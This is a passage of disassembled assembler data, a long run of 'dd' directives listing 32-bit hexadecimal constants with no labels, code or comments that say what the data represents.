		dd 600A9B7h, 0DA4A5C35h, 17893A70h, 0F46A3B2Ah,	82350004h
		dd 1EDC5713h, 5000AEABh, 0CC4B0761h, 0AFCE0D4h,	0D22B9805h
		dd 0B895DEDFh, 3A839919h, 933803BFh, 0FDAFFD5Fh, 3580496Dh
		dd 0F65E2885h, 0C480C95Fh, 0B31A5D62h, 8EB078BCh, 0A4CE8302h
		dd 5FDBC780h, 97E1E8EFh, 0C1336003h, 0A6357000h, 338FB6F5h
		dd 0D5233E1Ch, 5D082766h, 3D5A252Dh, 609A4FB7h,	37BB531Ch
		dd 63169548h, 84618D2Eh, 0DAB4ADBCh, 80ADCFF9h,	9F5EFCD7h
		dd 9070B768h, 97092D22h, 2997A415h, 0A1969DECh,	2F27CD63h
		dd 123AA629h, 946FAAC1h, 0E8A04612h, 4CA85363h,	62D52534h
		dd 0FFCD5F36h, 40601864h, 75253C62h, 2DF7D133h,	2CBC61FCh
		dd 22818EA8h, 0E1FF5FE4h, 80379B2Ah, 37B2C23Dh,	5DD012D1h
		dd 84B4F236h, 0DEBF03D3h, 569F80F3h, 0F8BBD45Eh, 759225FDh
		dd 4A3CB4E5h, 7A4C38AAh, 0B576618Ah, 109DF27Fh,	602D1EB1h
		dd 0BA706553h, 9D14EA0Fh, 0ABA5E0E3h, 0B1805B25h, 2D648DE8h
		dd 53CA259Dh, 37277D5Ch, 0F9D170Dh, 0E3E0DEA6h,	2C2DFC16h
		dd 0CF165495h, 69EEDBC0h, 0FB9F07BEh, 8DBD0458h, 0D3CBBF01h
		dd 8B0AE56h, 0F095FD8Ah, 975525BDh, 1C1150D6h, 0A88C5B76h
		dd 217BA055h, 73F800D7h, 18FFC8AEh, 530765B2h, 69491559h
		dd 0E5B69045h, 0B794E2E0h, 788DC016h, 0D62321BFh, 0E5A3C067h
		dd 73F92B00h, 1E7FF559h, 0FD204FE4h, 0BF70606Ch, 1823DEDh
		dd 51B36829h, 60BBC8EAh, 714A3873h, 134CDAA0h, 0B3734B2h
		dd 0EFAB6509h, 46D68354h, 3DA01215h, 8B1653F3h,	0C6DAC8DAh
		dd 1B964D00h, 9DFF337Eh, 0C89A04B3h, 0AEC5A0ABh, 0EC044424h
		dd 0A2172C39h, 437B13CCh, 46C2A000h, 5FF0B421h,	0CDFCA0F5h
		dd 0CA2A0A45h, 0E06AA030h, 0D8EF0432h, 0BC3BB3CCh, 0EEA75E47h
		dd 4668C0B2h, 9897C9F5h, 1231BF45h, 0F35246D1h,	68FC6F2Bh
		dd 6890001h, 14A97DBFh,	73B63AF3h, 8C3314B2h, 2D311DBCh
		dd 4104465Fh, 3E2434A1h, 3984BB9Bh, 608C879Eh, 0D3800957h
		dd 124ACF58h, 5F71FF1h,	6701374Dh, 0A72668B9h, 7C56B0DBh
		dd 0EFC4A4D9h, 0E06E6Bh, 0E21451B5h, 2F2183D7h,	1C4F84Fh
		dd 0A20116E0h, 0B7498BAAh, 206E7F5Fh, 2948FFAh,	961A2E16h
		dd 0E9AB13BEh, 973F8CFh, 0E48D7414h, 0EA851D85h, 3F213028h
		dd 0C5803293h, 0D77B8AAEh, 0AB007962h, 57060963h, 4B0ABD39h
		dd 0BF61C019h, 0B925A4A0h, 1125EC67h, 502331BDh, 44A3DB5h
		dd 0A2D224E3h, 7C608BCDh, 0D301F607h, 99DEB772h, 79FA9203h
		dd 9E0E00D2h, 0C4D39B7Bh, 0A513B33Eh, 0F665DC46h, 79BC2D00h
		dd 459D0B7Dh, 0B8E9103h, 515617FDh, 66DCB77h, 0AFFE0160h
		dd 95F3253Fh, 0C9402254h, 143758B9h, 0FE7F3ED7h, 608B1548h
		dd 8B636974h, 811E2FF8h, 0B8612104h, 464A1F4h, 5E8AE29h
		dd 0B5898504h, 15E8253Dh, 3E0434E1h, 5C01267Ah,	0BB2EC1B2h
		dd 7493C034h, 91BF3597h, 9134801Dh, 0FE2F2Eh, 22EDEFCDh
		dd 8BF860C0h, 1395D197h, 0E46AC861h, 2900BE7Dh,	0DD0CCD9Dh
		dd 4AB3E6Bh, 503F560Eh,	0FA4CC568h, 955F6A88h, 9546B51h
		dd 0E9B3551Ah, 0C6A5EB71h, 55ADC455h, 80960B12h, 501FED55h
		dd 9F8F0CBFh, 8B1649C6h, 9D1EC495h, 0BDDE9376h,	0CF413BF9h
		dd 312FEEB3h, 100EE954h, 93EB3Ah, 0DDD2343Ch, 0C0A36D01h
		dd 31203914h, 60A89268h, 0BF385813h, 4ABD5310h,	4B9523B2h
		dd 776B2ABCh, 4D07FFFEh, 8A5E09C4h, 6B3E00F4h, 0DF894861h
		dd 0D9C992Fh, 4BF6BFA6h, 803EC0B1h, 82977DF7h, 0FFDC8A37h
		dd 0B869D0EDh, 0FEEF4E81h, 0DFC00959h, 78206DCh, 27F9FEBFh
		dd 0ED2ADD00h, 4D6B4AFh, 8B855624h, 4FDABF61h, 0BAC019C8h
		dd 178E601Fh, 16313AF3h, 5853EF2Eh, 0EFF147B6h,	3E3AF5DEh
		dd 0F9BDC2C4h, 82DC594h, 29F5B1CAh, 60357793h, 29801591h
		dd 0C1BD0947h, 960ECE9Ch, 0BA662060h, 4B5176CAh, 1158FD5Fh
		dd 4A760C8Fh, 0C98AE289h, 0C39C4D96h, 0D6103C7Ah, 66052BA1h
		dd 5368EABFh, 0AB7BAF81h, 76D8A900h, 0BB68F7CDh, 24811A5Fh
		dd 362FFAAAh, 0D97F7C69h, 0F3047D8Ah, 0A251BCE2h, 3EF7541h
		dd 7F828864h, 40F57CBCh, 0D2E4C098h, 82DD2D00h,	0EC430C2Bh
		dd 6B950460h, 0C59675B6h, 0B87BE67h, 558D0962h,	6C7BC629h
		dd 0C5181959h, 0D9D0ED00h, 0BD89B7D6h, 182E9F81h, 0AB04DDC5h
		dd 6566DE2Dh, 92CD73B0h, 0DCAB7551h, 5DA4E8E1h,	0E453FC26h
		dd 7B800209h, 0EAB309BFh, 68449B79h, 4B29AC52h,	19AC77F9h
		dd 72CD018Ch, 55BF63E1h, 0AC202A51h, 0F2EE7599h, 645A017Fh
		dd 0EDE3E1F2h, 6E5BE9CEh, 1E1D8688h, 0C03279BBh, 21C810D0h
		dd 0CF4FB9A6h, 942B40D9h, 8A88BA24h, 3A4B0B95h,	0B156D555h
		dd 7250FCA7h, 8000C664h, 2638D761h, 71A32Ch, 3159E76Eh
		dd 0C16C64FCh, 84E9A016h, 6F4816FFh, 9E601BAh, 0F717BCA3h
		dd 0F55A046Bh, 0C18B071Eh, 82F83269h, 5F072996h, 0AAAEA2E5h
		dd 0F8AE1DD4h, 0FDA4390h, 7C162066h, 32A801B5h,	822EBF80h
		dd 6CB51290h, 251494E8h, 291B7D7h, 82511B3Fh, 29717740h
		dd 8DD761A2h, 162ED35Ah, 0BA6A24AEh, 0F3C0DEDBh, 312BBDA0h
		dd 46113E0Ah, 0C508A1B6h, 0F6474212h, 7A46D37Fh, 0F8EA6957h
		dd 0FDFF122Fh, 920B89Fh, 93C07D0Eh, 0CD0893DEh,	8D290A32h
		dd 0BC6144F7h, 9C28136Fh, 95009EA2h, 3A4436A9h,	8006468h
		dd 171CB81Bh, 4E3D057h,	18DED452h, 43AF8C90h, 0C174B800h
		dd 0FA300698h, 0CA8C0292h, 6050A338h, 3BFF447Fh, 0CB3961CEh
		dd 0EC888DCBh, 0ED00E664h, 10DA6AB3h, 97ABF57h,	5F3D9C70h
		dd 0A0D042D3h, 0D8B02CEh, 6AB1B4F0h, 0ADE1FFCh,	368A6B29h
		dd 0BF725A3h, 0BCD5733h, 64991645h, 2F2CA16Eh, 0CF814A30h
		dd 4F6C043Ah, 0FDD1FF31h, 9A7B8DEh, 998E266Ah, 934549D1h
		dd 73D17BEAh, 0E7311200h, 0ECFDB8E2h, 7D6B489Ah, 0AA236D12h
		dd 0B06D8F89h, 5A4813A8h, 0A3944BDCh, 0D86A01AEh, 26CCB750h
		dd 0FDFC0335h, 0F3184D88h, 0F6DBA8ABh, 0F35C020Ch, 14058D89h
		dd 542FA2E5h, 0FBF3645Bh, 0F7384CA6h, 0E7E39301h, 2481B589h
		dd 0F90B5F8Ch, 5C04E961h, 0F6517027h, 0C1B41083h, 880F1C01h
		dd 0D8DDF32Dh, 8B0403DAh, 46F380FBh, 50CB25E8h,	0D194B607h
		dd 0E25F7BFEh, 9601EC59h, 0E238914h, 6B9EF8h, 59B7F301h
		dd 2D8217A1h, 0BEBB0D02h, 0FC265BDAh, 0DCF9AE7Fh, 4CFCF127h
		dd 0AB799D1Fh, 85535102h, 1C5760A6h, 87D60069h,	0BAFA8814h
		dd 0B7160F3Ch, 6EFF5FF8h, 0C71424CEh, 0E9C178C4h, 0A82A1809h
		dd 6ABBA4BEh, 31AA09BBh, 809ADDEFh, 0D57362FFh,	0BDFF61A5h
		dd 1F80B875h, 40A8E974h, 684BD370h, 199052CFh, 0B29C1970h
		dd 10A9B58Fh, 622FFD41h, 6D2A0B04h, 1C101908h, 0B0F727B0h
		dd 459D89ACh, 0DBB36EC1h, 0D2258A00h, 0B3D71224h, 0A579D400h
		dd 60692AF1h, 95F7161h,	0FC8A71E4h, 0D24BF47Ah,	0F42F61CDh
		dd 2514BB15h, 9D90BA09h
		dd 28D59D85h, 64952788h, 0FAC1C322h, 0B5BBED30h, 1E303E69h
		dd 744E820h, 820F0236h,	0DD689975h, 8004E75Eh, 0FAF2DD7h
		dd 0BF41D1A2h, 46E92FC9h, 0F09F9276h, 0E111D2E2h, 800A2CBCh
		dd 18BA9E7Fh, 91A20667h, 24B9138Ch, 1F33E1h, 0DACA6649h
		dd 2C2BBF0h, 0ACC8B550h, 0CB5E47CCh, 99591991h,	0E9251D20h
		dd 9FEE46h, 0BA0D85C8h,	2A4D92F5h, 0C2CD3D4Bh, 0E5AEBE9Fh
		dd 8B1A38D5h, 0B49497DAh, 200ACD21h, 91C29D70h,	0EF41ABDCh
		dd 602FB7C6h, 0E776D0BAh, 71DEE19Ch, 3DD0FB57h,	1FD00185h
		dd 5D9D235Bh, 0BAA32B2Dh, 0FD1CD113h, 7D2E808h,	0E7B9F826h
		dd 157E0910h, 9A7C04DEh, 8037F8DBh, 817B0147h, 5F57CB04h
		dd 0B5BC5DC6h, 4E16E4Ah, 35B529EBh, 97FC89B0h, 39C0FDCDh
		dd 0E82DF69Ah, 8636138Bh, 938B6E4h, 7B127D8Dh, 95010BC8h
		dd 2B895974h, 250402D2h, 1B535D04h, 121F0B49h, 658341DEh
		dd 0B1BA75DEh, 2FDFB641h, 67813724h, 0DD3B33C9h, 0A1524155h
		dd 4A42D2FBh, 0A9D2F157h, 814B1DD4h, 55CBE75h, 0EB22A38h
		dd 0F4B866E0h, 81D0B762h, 0C675502h, 502D6E91h,	6FB74A70h
		dd 5ECF6071h, 951759D3h, 51FEBD09h, 0F093C292h,	0D524FCC1h
		dd 0CA09226Ah, 0ADDB71ACh, 0A405F670h, 0E1FFF855h, 33E05DA6h
		dd 68040CE2h, 599DDD76h, 7BA2B0B8h, 8D53023Fh, 0E7FF3F59h
		dd 51679ADFh, 2FD92440h, 1A54C7B5h, 0F418271Eh,	0B200705Dh
		dd 89C7628Dh, 5E919D33h, 8CC54E1Fh, 9BC54A11h, 188029FCh
		dd 46FC4B57h, 0A562CB07h, 0D490FBACh, 97115DCDh, 0CBB7A409h
		dd 48974ADh, 0B95FF550h, 1CC52EA0h, 518C38FCh, 491096D8h
		dd 0CF5F381Ah, 2AAD88EDh, 0F318860h, 35FBB7BFh,	0AD20F928h
		dd 16504E03h, 29BD4571h, 0B48B995h, 0C421BD23h,	81EFA011h
		dd 26679518h, 91C65013h, 2DB49B85h, 5BFAE760h, 0FDFB60FFh
		dd 1827896Ch, 955872F9h, 868EBA1Ah, 3A82C95Eh, 0F4A76E71h
		dd 0FB096415h, 0E54105A5h, 0E9011C89h, 6B492E8Fh, 0FE35FFDFh
		dd 9989F4A3h, 3B445F51h, 0C1797800h, 9CD1CBABh,	593E0029h
		dd 0ED83C3CAh, 6BF40B6Eh, 0E2F47F24h, 5F8C2609h, 0AE95A1E6h
		dd 133480AEh, 4411581h,	929CC49Eh, 0E99AFF4Eh, 309971D3h
		dd 0AD7C4466h, 0C7602471h, 3D8D0985h, 8961DF42h, 0E5AE8506h
		dd 9FAAF052h, 20ABD20Dh, 93F90B60h, 6D780B97h, 140CC04Bh
		dd 9902F4FFh, 0C78056C9h, 0BDB5FA5Eh, 0D7A34060h, 4FA94CF3h
		dd 7B428A00h, 5CE3DA6Fh, 814C2578h, 550256h, 2968504Bh
		dd 73625371h, 5DB9497Ah, 4C726923h, 27BF163Fh, 0CAB2FCA1h
		dd 5BD989ACh, 84B532E3h, 6A580045h, 2DE06BAFh, 5D83F300h
		dd 5F4893B7h, 0D74EC761h, 0BE905543h, 6516CC17h, 17ACA6A9h
		dd 60FF808Ch, 0F98A12C1h, 2F316F61h, 0B017405Fh, 8116971Ch
		dd 1695EF9Ah, 85108150h, 0DF44326Bh, 0BC5264F7h, 3E26DC27h
		dd 402571A9h, 971F3DC2h, 0DDF2581Dh, 500071B5h,	31F31BD1h
		dd 34C41676h, 76F7F65Ah, 0B3DFC8B7h, 0D78102CCh, 46EA353Bh
		dd 0F6534C5Ch, 983BA07Dh, 88DDA5B4h, 77A703C6h,	4AD9198h
		dd 2BE90CBEh, 8BB5FDE8h, 12DDCCAFh, 95C3EE2h, 5C822D2Fh
		dd 385716C5h, 2D85012Dh, 43FC0239h, 11444EBh, 4FC20815h
		dd 0D080BA76h, 4D00CD44h, 0BD91B50Bh, 484C1612h, 5331CF67h
		dd 6E5EF2BAh, 0AD3BC4F1h, 0E5AB8E5h, 3E019C29h,	7AB59547h
		dd 38B35091h, 161AFB97h, 1333BE88h, 7565CDE1h, 282FACE8h
		dd 0D45A15FCh, 0EC03D423h, 0D8D4C496h, 715A253Bh, 0E250FD09h
		dd 60DA6FBDh, 0DF4ECDD7h, 98C45A00h, 0D381CE73h, 3E421DBFh
		dd 8B770224h, 0FBD4282Bh, 4B48ED6h, 0ECA413A9h,	5AF2ACD3h
		dd 0A1D220BCh, 0F9B6BF5h, 7E60EA92h, 4EC5B509h,	4BA615h
		dd 885D1A2Fh, 3CB2Dh, 987063C4h, 0C84E4C4Fh, 552F3A97h
		dd 37128535h, 0DE6F14E1h, 4E3FC182h, 69D478F9h,	6220003h
		dd 77DDEB81h, 0FBBD71D3h, 0A94AD0ADh, 27763D4Ch, 95BB5870h
		dd 5C2FB679h, 0DA00FC7Ah, 9D5E314Bh, 95DF125Ch,	1759B453h
		dd 5513DF18h, 0AEF852D8h, 3D9D3309h, 0EC5098E1h, 727FDCBBh
		dd 2F361548h, 7824DB34h, 205A37FBh, 0B3126CB7h,	8A75AA87h
		dd 59F06B09h, 533744F1h, 4D4931EEh, 0D4E93E06h,	969EC306h
		dd 0FD94A976h, 0B42C00DCh, 9453EA9Dh, 57A46F66h, 0D54975BCh
		dd 0F9DE9A98h, 1311FB97h, 0C28EEC83h, 55488DF7h, 171612E5h
		dd 0B7A2B0ACh, 916B4555h, 0CC8E405Eh, 10AEAA16h, 4BF06BFBh
		dd 0D272B660h, 0AD43315Bh, 6F32E190h, 0FDA4E8B6h, 146B8052h
		dd 177DAFCCh, 0F83A18F7h, 9E854AA1h, 238C7BFFh,	6A79251Ah
		dd 0BFADF007h, 2E862071h, 214C26Bh, 1C1B5C29h, 0FFF50EE9h
		dd 0BFC1003Eh, 4ABEED23h, 98F9995h, 0AE495DDAh,	731F2A90h
		dd 6E29B980h, 0E612DF2h, 0DCB3BE66h, 0A081BFB3h, 522F8EB1h
		dd 96D6A8ADh, 0C5C0C5FCh, 0D10A6573h, 6160CD0Eh, 4D90495Bh
		dd 28CDC0AEh, 0A92D9D29h, 5976740Ah, 14FC2EDDh,	897E2DFDh
		dd 78BF78B9h, 68059DA7h, 45291F15h, 36E4EBBh, 0E8051E9Ah
		dd 9A12BFE3h, 6DB116C2h, 44600C78h, 905D21E3h, 20EA52BDh
		dd 4BEAD4Bh, 8DD4FE2Dh,	0FB811F88h, 2B9EC9E4h, 0F6BEE024h
		dd 307101F7h, 6A830A3Fh, 966C0CCh, 905BBFC3h, 54AD7AB7h
		dd 1976AFD6h, 4A761D14h, 2E00B4A2h, 745AAF33h, 230E013Bh
		dd 0A0025906h, 0A3F97B24h, 5FF6256Ch, 0F8F4CA5Eh, 0FC0C0496h
		dd 0C2899AB1h, 48563081h, 0F48047E8h, 0AE749F17h, 8545254Bh
		dd 4EE15654h, 0B67FF9C5h, 0DCBFE5EBh, 0A327B365h, 836C79AEh
		dd 5F5B531h, 0BAD1A12Bh, 2D0E6178h, 25C17DECh, 6AF27E19h
		dd 1A5D099Fh, 0F171C25Ch, 7F7B7Eh, 0E96070FBh, 74A72CCh
		dd 816C6210h, 4EB361C7h, 0EAF92F7Ah, 10AC2EBDh,	8CBEFB84h
		dd 867A3962h, 0D574DC0Fh, 0D8DD6030h, 25E4E4Ah,	78311D1Ch
		dd 2674ECCBh, 40EFBB44h, 35AE7655h, 64008C74h, 577173Ch
		dd 9C5F0BA1h, 367A09EAh, 40876FF5h, 0A66F77B1h,	0F4CCEF28h
		dd 80D90C45h, 94A1C758h, 0FFFB2FA0h, 30191B59h,	0F504615Ah
		dd 60A4C797h, 0C6F020FAh, 500496A0h, 0F9AA9039h, 570DDAC2h
		dd 28639FF9h, 0C3FDD405h, 0EE5F5ABCh, 1B20D1A8h, 0DD2DFC90h
		dd 0D0265316h, 6758E84Ah, 6B7741F8h, 0D5EC87C9h, 36080099h
		dd 68D26195h, 0D100A3CCh, 7D604404h, 162AE0F2h,	0B95BFC72h
		dd 0AC43D5A3h, 0F6C20099h, 0CCDD5F65h, 0F7278086h, 79987F0Eh
		dd 4ABFFEB3h, 36960B7h,	0C58A0974h, 265EF961h, 5F1946DCh
		dd 532B22CDh, 0C1589E10h, 890FA3DFh, 11AD2344h,	0F88C19ACh
		dd 0F3A40078h, 0A1B776E8h, 1DB4FF6Ah, 7A501110h, 0B5224499h
		dd 4F185927h, 0C757400Ch, 0CB2580E4h, 4508CCADh, 0A070B81Eh
		dd 1BDEB52Eh, 25A1CD1Dh, 9DC44878h, 8FA071E4h, 0D2FD4A41h
		dd 0FB19F9F4h, 45C38010h, 0CCF38B95h, 74E5000Fh, 1A3AEE7Ch
		dd 6E0BF7Ah, 8E5A322Eh,	9D096007h, 764A52Dh, 0F3F1B7CFh
		dd 0AD4A9420h, 0BF08DBE6h, 842762DCh, 8B043529h, 8128BCD1h
		dd 299E0CF8h, 9F1445D0h, 51CB9176h, 41302D4h, 44405BAEh
		dd 1904828Bh, 7E2B44ADh, 84E9ED81h, 20086742h, 6E242E04h
		dd 6B0D1C09h, 64015E0Eh, 8295AB57h, 0BD1191FFh,	80AB6241h
		dd 1BB17F4Eh, 9E2C0093h, 831ABDC9h, 3C3CE3FAh, 0CDF18DE4h
		dd 0CE02425Bh, 0FF6AD59Dh, 60DFBAD5h, 812FF990h, 0CA99D2E9h
		dd 27312ED8h, 222E5F56h
		dd 81201B25h, 25A81FF7h, 29CC1A3Dh, 0FA4AABB0h,	0D94ADAE3h
		dd 487FD1Bh, 22DCE05h, 6E30D9CDh, 0F9ED5B38h, 119D84E4h
		dd 2DB9B4B0h, 46730FB0h, 65D42D0h, 9A98B520h, 0FC09D48Fh
		dd 2E05BD89h, 0EB81E002h, 12AEF5EEh, 9BC02B4Ah,	86FA84F6h
		dd 0EA5125BAh, 0D79C9D20h, 9135018Dh, 481403Dh,	8085D474h
		dd 2BD5E309h, 0F3B755D2h, 29EC390Fh, 0B94AF709h, 54C1427Dh
		dd 3FF579E4h, 0A3020D6Eh, 576DE772h, 0C2599D41h, 8D309h
		dd 87F0367Dh, 0F85A7C1Eh, 4D257E2h, 414BD10h, 6AAE5F5Bh
		dd 1D234Dh, 6CA5A0Dh, 501687D2h, 56030580h, 9D4D9529h
		dd 9FB588F4h, 6D5D124Ah, 601C6413h, 2C5C9F6h, 3F75201Dh
		dd 0E074AE79h, 0AB214069h, 8D5B4BA9h, 25E7416Ch, 0B0B22A1Bh
		dd 0BD2F24F6h, 73894AD5h, 0EC5572BDh, 8A1F4BFCh, 0A0342285h
		dd 253999BFh, 89C45A71h, 89127BB5h, 5D7163BFh, 0F8E4A5h
		dd 0AFBE4649h, 9E73687Fh, 0F1A4C604h, 0BAC1D31Bh, 9430219Fh
		dd 4B1497E1h, 52D24h, 780316F6h, 5048005Dh, 0F307194Ch
		dd 0FBD78012h, 138451E2h, 959EBA05h, 0B863E984h, 0F6B3A268h
		dd 0BE01F6FEh, 1A5B7FEh, 563F999Dh, 1A9CAD1Ah, 566D3D8Dh
		dd 80B42967h, 37D659F2h, 69096895h, 7392254Ah, 6F6726A4h
		dd 5380CA0h, 3F00CECCh,	710DF218h, 0F64A50h, 55E7811Dh
		dd 5B6EA3E5h, 0A13F9B7h, 0F6CB01B3h, 45E8381Fh,	0AD9E68C7h
		dd 3139DFA0h, 4D6AB595h, 12A804F5h, 19BC4FADh, 96FE08Ch
		dd 7A420349h, 454EED5Fh, 57B61Ch, 37AAC6ACh, 4B655D39h
		dd 154282B4h, 0C68C9005h, 6C252DC4h, 9DBEB65Fh,	0A117F644h
		dd 491C4901h, 710BA900h, 96950E6h, 4E9626C2h, 8F0A33FFh
		dd 0B0BB53E3h, 2707CEA2h, 2437905Fh, 3EDCF700h,	2A6D696h
		dd 5C6B190h, 72536AFCh,	97C4AF78h, 2F1760C1h, 182B1739h
		dd 14B7C04Ah, 49DE5B77h, 0C7045FF8h, 0B3C85FDEh, 9358EC50h
		dd 0AC9A79A0h, 5BA5258Ch, 181979BAh, 72391C02h,	0BBF981B5h
		dd 0F61CF159h, 0E961555Eh, 0EC39021Eh, 0AF0E0CE8h, 0C7715E3Dh
		dd 492F43B0h, 0BD66788Bh, 0FE2D5CBDh, 0E55E0086h, 8086C438h
		dd 0E258F325h, 693DD551h, 7226A680h, 5E39180Ch,	2DD3AC88h
		dd 5A52FE19h, 1F68357Fh, 0BAB0151h, 2F45839Bh, 36C46C34h
		dd 6896781h, 0B7B80F6Dh, 0FF5E0F72h, 170238E2h,	87C7D0FBh
		dd 91FF3557h, 22DC801Bh, 2A250D9h, 80131C54h, 8B5EAADBh
		dd 7D08372Ch, 0A2501333h, 8019002Fh, 2F3081B4h,	834103E0h
		dd 0EDAA746Bh, 0C64CC7C0h, 0BE3ACA17h, 0BD2B05C0h, 44154AF1h
		dd 0EA302D83h, 6A5B7DCBh, 0B4B002A2h, 42EE8BF1h, 0C4F157C4h
		dd 9BB046Ch, 73F5D836h,	0CD681DFEh, 5F57DD09h, 0E34BBEE8h
		dd 0E33FF384h, 0A0201CD4h, 0E8159E82h, 861F82B8h, 0A25709AEh
		dd 124D1F48h, 5864F874h, 79B885BDh, 0EF4C9E13h,	0C2755209h
		dd 4935574Dh, 21841591h, 0F903C4C5h, 6090179Bh,	0B88F6FB9h
		dd 0B0575140h, 0FE955A86h, 0E6DA1ED4h, 381C84Bh, 96118E6h
		dd 2B08E1D9h, 8E4038CFh, 8A934BB3h, 0F3792FDBh,	8743D8EFh
		dd 642A3B2Ch, 1EC62860h, 0B46A006Dh, 3B69CB23h,	370414A4h
		dd 51E9DF73h, 7510CCEEh, 32044C76h, 0C4204663h,	5FE645EBh
		dd 6A52AFE9h, 9201626Fh, 311641DDh, 2B8DFDA3h, 0FB893ABDh
		dd 28D7FD79h, 1E912D3Dh, 5B01684Ch, 0DD168583h,	99367FFDh
		dd 0BE93EDF0h, 0DAA15201h, 0D88BF9A5h, 0ACFC282Fh, 0A7B34B92h
		dd 620378h, 0D168ED2Dh,	1DC18509h, 40C7F82h, 78E58D3Eh
		dd 58E25AADh, 0BDDD6DCBh, 0A8FCAF0Ch, 0D1CC3641h, 6B80BB6Ch
		dd 0AFE01D05h, 8A998126h, 0FD11550Bh, 0DA4E9F16h, 882E538Dh
		dd 0B801F361h, 254D6F84h, 1E70CC5Bh, 18F92D95h,	0E4525554h
		dd 0DE2600A0h, 0D27E58BAh, 7400322Fh, 0FA768FD3h, 5A89D998h
		dd 5B7792BDh, 81675674h, 0A964EC70h, 0B7961768h, 6E41F111h
		dd 8A83A134h, 17ABE4B3h, 0E509E677h, 6585E0AEh,	4AB34D09h
		dd 6AB57F57h, 59801691h, 80FC3CB2h, 5C08EF25h, 0C7B5E992h
		dd 96AEA995h, 0BF09DACCh, 0BA97E250h, 0E4EBC380h, 0AFA55FE8h
		dd 205A535h, 0DBFF1CA5h, 0FC67D7A4h, 0CBF3D5F0h, 27CCFA19h
		dd 4042363Fh, 9D708153h, 8CE701ABh, 0C18D2B89h,	7BC17E77h
		dd 173AE85Ch, 1F6E63h, 508F5D0Bh, 17959458h, 3067DBB7h
		dd 77E87A32h, 80164C38h, 6D8AD068h, 1C5615Eh, 7144C325h
		dd 3AA7FEC9h, 16F96574h, 1095E5A8h, 7D7903h, 0F73D5ED1h
		dd 4EB5558h, 4532C601h,	0B535C986h, 224C2C6Ch, 0C51E3CDFh
		dd 8104DFB7h, 204A22DFh, 8F123A18h, 32EC76EDh, 0A14FF073h
		dd 69217EB0h, 0E45CE3E3h, 6FF0FB12h, 61A92715h,	355235Ch
		dd 769015F6h, 0E700589Eh, 0ABBBDAFBh, 955C4BD7h, 0DE59421Ah
		dd 72CE2900h, 0B8C98A64h, 0AEEE0000h, 0C1802C9Dh, 905CAC6Ch
		dd 965B17CCh, 73588h, 2BADB633h, 0A4B55441h, 12631E00h
		dd 8B50234Ch, 0F29662FEh, 4DD52EE9h, 0F7ECE92Eh, 0ABFC9E0Bh
		dd 0F0C47D84h, 0F5250198h, 0CD9AF79Ah, 6A029546h, 323F68DBh
		dd 0C2795E64h, 85C603B5h, 0BC022FF4h, 0A6E01EE3h, 9EB9575Fh
		dd 6F08352Dh, 0A9348F6h, 92AD5D42h, 2A34AA96h, 500749BFh
		dd 6C006B59h, 38961863h, 0D92F059Fh, 0FEFF405Bh, 4B5F559Ch
		dd 0E087E696h, 16060AA8h, 0BFB9F112h, 9DF97884h, 0C6CEBF82h
		dd 9180B557h, 64AF971Ah, 0AE32255Bh, 74FA0172h,	0FE8A62D3h
		dd 97F4E6FFh, 635FD894h, 5AB0CDB7h, 2D5B32FEh, 1CB23AA6h
		dd 0D8BA30h, 6DFA2D31h,	0F826968Eh, 134649Dh, 0BD5E511Fh
		dd 6AC63A89h, 12618944h, 0AE28BF00h, 53BD3467h,	581DD903h
		dd 5E0050B9h, 558B766Eh, 126F28FCh, 0BC39E921h,	0CAC95E90h
		dd 2D88FFCh, 2F78D56Ch,	40F5C218h, 95998511h, 0E3CE56DCh
		dd 852FDCF7h, 48E90128h, 798068A9h, 0C7F7CA80h,	7F520800h
		dd 0FBDE8C4Bh, 591100D6h, 23975064h, 0AA0016C4h, 1469211Ah
		dd 0F2A861h, 7931EE9Fh,	0CFBB7404h, 0E5B64400h,	3BF796BCh
		dd 0A6E40091h, 42C80349h, 9E00596Fh, 0F0AA2F5Ch, 63FB45h
		dd 6A6992D9h, 4F3C46DFh, 0C8B09C00h, 0E0CC7F5h,	26E100ABh
		dd 0FE394124h, 0D07B715Ch, 776E1D00h, 996ABAE3h, 0CB74A7h
		dd 0FB1E73A6h, 194269D1h, 46DEDA00h, 0E4D53FECh, 0FD8D00D4h
		dd 40331802h, 603B78Ah,	0BEED61C9h, 682D0095h, 9CF14983h
		dd 280032EFh, 41C902B5h, 9D5A6Ch, 2170187Dh, 4EBD5D9Eh
		dd 257F9B00h, 0A5D2A608h, 20C23D6Ch, 0F99C5E00h, 413913D4h
		dd 0F47C0C06h, 7637EA7h, 0AD702457h, 0ABB1B0A5h, 250505F8h
		dd 1FD1FAA1h, 69838100h, 8DBC82h, 0C1AAC0F7h, 0C386397h
		dd 0D242CE60h, 0E06AA3h, 703FC8Dh, 0AFC995AAh, 3F001C7Ch
		dd 760D9C29h, 0A87A9447h, 1A7D4EDh, 2D6EEFB3h, 0F888C45Bh
		dd 0B80723A8h, 0AA3C6B16h, 4B4A5E0h, 0EB6F06CBh, 8CA397C0h
		dd 53BD6E01h, 0A2C5F4A7h, 7AE31280h, 0D857D0F8h, 15D66C4h
		dd 853D494Eh, 6144C6h, 74197CF2h, 5B009425h, 71994CBFh
		dd 3AE6B1Ch, 4586C9ACh,	19907AC5h, 2000321Fh, 94C03B4Dh
		dd 715F579h, 0ED80AA65h, 86FBF0D8h, 130037F0h, 0AF1B7528h
		dd 0E55E6Ah, 224A3135h,	16BF7FB5h, 66297200h, 493B6BA5h
		dd 0CC47707h, 0AB90B9E2h, 0B60065BCh, 0B3DBBE5Ah, 769D674h
		dd 12796AF4h, 50D12720h, 0FDDC3848h, 5A10CB00h,	4F1A5567h
		dd 427B0Ch, 0F2361572h
		dd 0F5FB3A69h, 0CB01027Dh, 35E3A4D6h, 0E2D06861h, 1CA2A1BEh
		dd 2673E8h, 44901399h, 30B2A394h, 0AF7F1814h, 7E95119Ch
		dd 46AD0130h, 0DF00EF82h, 0C711FA60h, 67A0D2h, 0E54986E3h
		dd 87387305h, 487A7800h, 0E45609ABh, 9FCC1540h,	4F00D776h
		dd 7719705Ch, 330796B4h, 7EC1498Eh, 0A24B1D20h,	0A67AC4DEh
		dd 6F024580h, 0B671D520h, 76F5A094h, 98FC3025h,	0EE2AD152h
		dd 52A2BE67h, 0A7D09BC1h, 8D7EA750h, 0F03063DAh, 1703133Ch
		dd 0CC4E01EAh, 0B1BF07E9h, 30C8DA84h, 0F582E743h, 2D1E3C1Fh
		dd 1917A47Fh, 242B5743h, 26874541h, 0DC7E0A6Bh,	0AAF30CA5h
		dd 210CCA1Ah, 2B295219h, 0C50F24FCh, 0E58206BFh, 0EF22DCD0h
